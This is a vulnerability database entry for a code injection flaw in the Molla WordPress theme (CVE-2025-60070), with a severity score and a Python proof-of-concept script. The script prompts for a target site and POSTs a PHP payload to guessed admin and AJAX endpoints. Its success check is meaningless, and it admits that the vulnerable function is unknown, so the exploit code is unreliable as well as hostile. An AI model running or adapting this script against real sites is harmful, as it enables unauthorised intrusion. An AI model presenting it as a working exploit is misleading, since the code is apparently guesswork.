Improper Control of Generation of Code ('Code Injection') vulnerability in The4 Molla molla allows Code Injection.This issue affects Molla: from n/a through <= 1.5.13.
CVSS Details
CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:L
Configurations (Affected Products)
No configuration data available.
The4 Molla Molla WordPress主题 <= 1.5.13
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# CVE-2025-60070 PoC - The4 Molla Theme Code Injection
# Affected: Molla WordPress Theme <= 1.5.13
import requests
import sys
import base64
target = input("Enter target URL (e.g., http://target.com): ").rstrip('/')
# Check if target is reachable
try:
response = requests.get(target, timeout=10)
except requests.RequestException as e:
print(f"Error: Cannot connect to target - {e}")
sys.exit(1)
# Try to identify WordPress
if '/wp-admin' not in response.text and 'wp-content' not in response.text:
print("Warning: Target may not be a WordPress site")
# Common Molla theme endpoints for code injection
endpoints = [
'/wp-admin/admin-ajax.php',
'/wp-admin/admin.php?page=molla_options',
]
# Example malicious payload - executes phpinfo()
payload = '<?php phpinfo(); ?>'
encoded_payload = base64.b64encode(payload.encode()).decode()
print(f"[*] Target: {target}")
print(f"[*] Payload: {payload}")
print(f"[*] Encoded: {encoded_payload}")
# Try each endpoint
for endpoint in endpoints:
url = target + endpoint
print(f"\n[*] Testing endpoint: {url}")
# Try POST request with malicious data
data = {
'action': 'molla_ajax_action',
'code': payload,
'security': 'injected_code'
}
try:
response = requests.post(url, data=data, timeout=10)
if response.status_code == 200:
print(f"[!] Endpoint responded with status 200")
if 'phpinfo' in response.text.lower() or 'system' in response.text.lower():
print("[+] Possible vulnerability confirmed!")
print(f"[+] Response snippet: {response.text[:200]}...")
except requests.RequestException as e:
print(f"[-] Request failed: {e}")
print("\n[!] Note: This is a basic PoC. Full exploitation requires identifying")
print("[!] the specific vulnerable function in the Molla theme code generation.")
print("[!] Refer to Patchstack advisory for detailed exploitation steps.")